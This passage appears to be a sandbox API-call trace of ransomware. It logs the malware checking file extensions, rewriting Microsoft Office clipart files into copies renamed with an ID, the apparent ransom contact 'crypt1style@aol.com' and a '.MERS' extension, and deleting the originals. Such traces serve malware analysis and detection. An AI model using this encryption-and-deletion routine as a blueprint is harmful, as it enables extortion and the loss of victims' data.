(lpString=".ppt") returned 4 [0272.918] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0272.918] lstrlenW (lpString=".zip") returned 4 [0272.918] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.918] lstrlenW (lpString=".rar") returned 4 [0272.918] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.918] lstrlenW (lpString=".bz2") returned 4 [0272.918] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.918] lstrlenW (lpString=".7z") returned 3 [0272.918] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0272.918] lstrlenW (lpString=".dbf") returned 4 [0272.918] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0272.919] lstrlenW (lpString=".1cd") returned 4 [0272.919] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0272.919] lstrlenW (lpString=".jpg") returned 4 [0272.919] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0272.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0272.919] lstrlenW (lpString=".doc") returned 4 [0272.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.919] lstrlenW (lpString=".docx") returned 5 [0272.919] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0272.919] lstrlenW (lpString=".pdf") returned 4 [0272.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.919] lstrlenW (lpString=".xls") returned 4 [0272.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.919] lstrlenW (lpString=".xlsx") returned 5 [0272.919] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0272.919] lstrlenW (lpString=".ppt") returned 4 [0272.919] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0272.919] lstrlenW (lpString=".zip") returned 4 [0272.919] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.919] lstrlenW (lpString=".rar") returned 4 [0272.919] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.919] lstrlenW (lpString=".bz2") returned 4 [0272.919] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.919] lstrlenW (lpString=".7z") returned 3 [0272.919] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0272.919] lstrlenW (lpString=".dbf") returned 4 [0272.919] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0272.919] lstrlenW (lpString=".1cd") returned 4 [0272.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0272.920] lstrlenW (lpString=".jpg") returned 4 [0272.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.920] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.920] lstrlenW (lpString="BS00136_.WMF") returned 12 [0272.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0272.920] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=2166) returned 1 [0272.920] CloseHandle (hObject=0x3a8) returned 1 [0272.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x20 [0272.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0272.920] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.920] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0272.921] GetLastError () returned 0x0 [0272.921] ReadFile (in: hFile=0x3a8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x876, lpOverlapped=0x0) returned 1 [0272.955] WriteFile (in: hFile=0x2d8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x880, lpOverlapped=0x0) returned 1 [0272.955] ReadFile (in: hFile=0x3a8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.955] WriteFile (in: hFile=0x2d8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.955] SetEndOfFile (hFile=0x2d8) returned 1 [0272.955] CloseHandle (hObject=0x2d8) returned 1 [0272.955] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.955] SetEndOfFile (hFile=0x3a8) returned 1 [0272.957] CloseHandle (hObject=0x3a8) returned 1 [0272.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0272.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0272.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0272.958] lstrlenW (lpString=".doc") returned 4 [0272.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.958] lstrlenW (lpString=".docx") returned 5 [0272.958] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.958] lstrlenW (lpString=".pdf") returned 4 [0272.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.958] lstrlenW (lpString=".xls") returned 4 [0272.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.958] lstrlenW (lpString=".xlsx") returned 5 [0272.958] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.958] lstrlenW (lpString=".ppt") returned 4 [0272.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0272.959] lstrlenW (lpString=".zip") returned 4 [0272.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.959] lstrlenW (lpString=".rar") returned 4 [0272.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.959] lstrlenW (lpString=".bz2") returned 4 [0272.959] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.959] lstrlenW (lpString=".7z") returned 3 [0272.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0272.959] lstrlenW (lpString=".dbf") returned 4 [0272.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0272.959] lstrlenW (lpString=".1cd") returned 4 [0272.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0272.959] lstrlenW (lpString=".jpg") returned 4 [0272.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0272.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0272.959] lstrlenW (lpString=".doc") returned 4 [0272.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.959] lstrlenW (lpString=".docx") returned 5 [0272.959] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.959] lstrlenW (lpString=".pdf") returned 4 [0272.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.959] lstrlenW (lpString=".xls") returned 4 [0272.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.959] lstrlenW (lpString=".xlsx") returned 5 [0272.959] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.959] lstrlenW (lpString=".ppt") returned 4 [0272.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0272.959] lstrlenW (lpString=".zip") returned 4 [0272.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.959] lstrlenW (lpString=".rar") returned 4 [0272.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.960] lstrlenW (lpString=".bz2") returned 4 [0272.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.960] lstrlenW (lpString=".7z") returned 3 [0272.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0272.960] lstrlenW (lpString=".dbf") returned 4 [0272.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0272.960] lstrlenW (lpString=".1cd") returned 4 [0272.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0272.960] lstrlenW (lpString=".jpg") returned 4 [0272.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.960] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.960] lstrlenW (lpString="BS00186_.WMF") returned 12 [0272.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0272.961] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=12788) returned 1 [0272.961] CloseHandle (hObject=0x3a8) returned 1 [0272.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x20 [0272.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0272.961] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.961] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0272.962] GetLastError () returned 0x0 [0272.962] ReadFile (in: hFile=0x3a8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x31f4, lpOverlapped=0x0) returned 1 [0273.079] WriteFile (in: hFile=0x2d8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x3200, lpOverlapped=0x0) returned 1 [0273.081] ReadFile (in: hFile=0x3a8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.081] WriteFile (in: hFile=0x2d8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.081] SetEndOfFile (hFile=0x2d8) returned 1 [0273.081] CloseHandle (hObject=0x2d8) returned 1 [0273.081] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.081] SetEndOfFile (hFile=0x3a8) returned 1 [0273.090] CloseHandle (hObject=0x3a8) returned 1 [0273.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0273.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0273.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0273.091] lstrlenW (lpString=".doc") returned 4 [0273.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.091] lstrlenW (lpString=".docx") returned 5 [0273.091] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.091] lstrlenW (lpString=".pdf") returned 4 [0273.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.091] lstrlenW (lpString=".xls") returned 4 [0273.091] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.091] lstrlenW (lpString=".xlsx") returned 5 [0273.091] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.091] lstrlenW (lpString=".ppt") returned 4 [0273.091] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0273.091] lstrlenW (lpString=".zip") returned 4 [0273.091] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.091] lstrlenW (lpString=".rar") returned 4 [0273.091] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.091] lstrlenW (lpString=".bz2") returned 4 [0273.091] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.091] lstrlenW (lpString=".7z") returned 3 [0273.091] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0273.091] lstrlenW (lpString=".dbf") returned 4 [0273.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0273.092] lstrlenW (lpString=".1cd") returned 4 [0273.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0273.099] lstrlenW (lpString=".jpg") returned 4 [0273.099] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0273.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0273.099] lstrlenW (lpString=".doc") returned 4 [0273.099] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.099] lstrlenW (lpString=".docx") returned 5 [0273.100] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.100] lstrlenW (lpString=".pdf") returned 4 [0273.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.100] lstrlenW (lpString=".xls") returned 4 [0273.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.100] lstrlenW (lpString=".xlsx") returned 5 [0273.100] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.100] lstrlenW (lpString=".ppt") returned 4 [0273.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0273.100] lstrlenW (lpString=".zip") returned 4 [0273.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.100] lstrlenW (lpString=".rar") returned 4 [0273.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.100] lstrlenW (lpString=".bz2") returned 4 [0273.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.100] lstrlenW (lpString=".7z") returned 3 [0273.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0273.100] lstrlenW (lpString=".dbf") returned 4 [0273.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0273.100] lstrlenW (lpString=".1cd") returned 4 [0273.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0273.100] lstrlenW (lpString=".jpg") returned 4 [0273.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.100] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.100] lstrlenW (lpString="BS00439_.WMF") returned 12 [0273.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0273.356] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=2052) returned 1 [0273.356] CloseHandle (hObject=0x3b0) returned 1 [0273.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x20 [0273.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0273.356] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.357] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0273.357] GetLastError () returned 0x0 [0273.357] ReadFile (in: hFile=0x3b0, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x804, lpOverlapped=0x0) returned 1 [0273.506] WriteFile (in: hFile=0x3c4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x810, lpOverlapped=0x0) returned 1 [0273.506] ReadFile (in: hFile=0x3b0, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.506] WriteFile (in: hFile=0x3c4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.507] SetEndOfFile (hFile=0x3c4) returned 1 [0273.507] CloseHandle (hObject=0x3c4) returned 1 [0273.507] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.507] SetEndOfFile (hFile=0x3b0) returned 1 [0273.508] CloseHandle (hObject=0x3b0) returned 1 [0273.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0273.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0273.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0273.558] lstrlenW (lpString=".doc") returned 4 [0273.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.558] lstrlenW (lpString=".docx") returned 5 [0273.558] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.558] lstrlenW (lpString=".pdf") returned 4 [0273.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.558] lstrlenW (lpString=".xls") returned 4 [0273.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.558] lstrlenW (lpString=".xlsx") returned 5 [0273.558] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.558] lstrlenW (lpString=".ppt") returned 4 [0273.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0273.558] lstrlenW (lpString=".zip") returned 4 [0273.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.558] lstrlenW (lpString=".rar") returned 4 [0273.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.559] lstrlenW (lpString=".bz2") returned 4 [0273.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.559] lstrlenW (lpString=".7z") returned 3 [0273.559] lstrcmpiW 